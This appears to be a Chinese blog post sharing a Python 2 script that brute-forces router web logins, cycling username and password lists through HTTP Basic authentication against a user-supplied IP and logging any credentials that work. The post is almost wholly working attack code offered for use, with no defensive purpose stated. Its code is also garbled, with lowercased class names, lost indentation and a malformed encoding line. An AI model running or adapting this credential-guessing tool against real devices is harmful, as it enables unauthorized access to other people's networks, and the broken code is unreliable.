python实现多线程暴力破解登陆路由器功能代码分享
运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....
#coding:utf-8-
import base64
import urllib2
import queue
import threading,re,sys
queue = queue.queue()
class rout_thread(threading.thread):
def __init__(self,queue,passwd):
threading.thread.__init__(self)
self.queue=queue
self.passwordlist=passwd
def run(self):
self.user=queue.get()
for self.passwd in self.passwordlist:
request = urllib2.request("http://"+target)
psw_base64 = "basic " + base64.b64encode(self.user + ":" + self.passwd)
request.add_header('authorization', psw_base64)
try:
response = urllib2.urlopen(request)
print "[+]correct! username: %s, password: %s" % (self.user,self.passwd)
fp3 = open('log.txt','a')
fp3.write(self.user+'||'+self.passwd+'\r\n')
fp3.close()
except urllib2.httperror:
print "[-]password:%s error!" % (self.passwd)
if __name__ == '__main__':
print '''
#######################################################
# #
# routing brute force tool #
# #
# by:well #
# #
#######################################################
'''
passwordlist = []
line = 20
threads = []
global target
target = raw_input("input ip:")
fp =open("user.txt")
fp2=open("passwd.txt")
for user in fp.readlines():
queue.put(user.split('\n')[0])
for passwd in fp2.readlines():
passwordlist.append(passwd.split('\n')[0])
#print passwordlist
fp.close()
fp2.close()
for i in range(line):
a = rout_thread(queue,passwordlist)
a.start()
threads.append(a)
for j in threads:
j.join()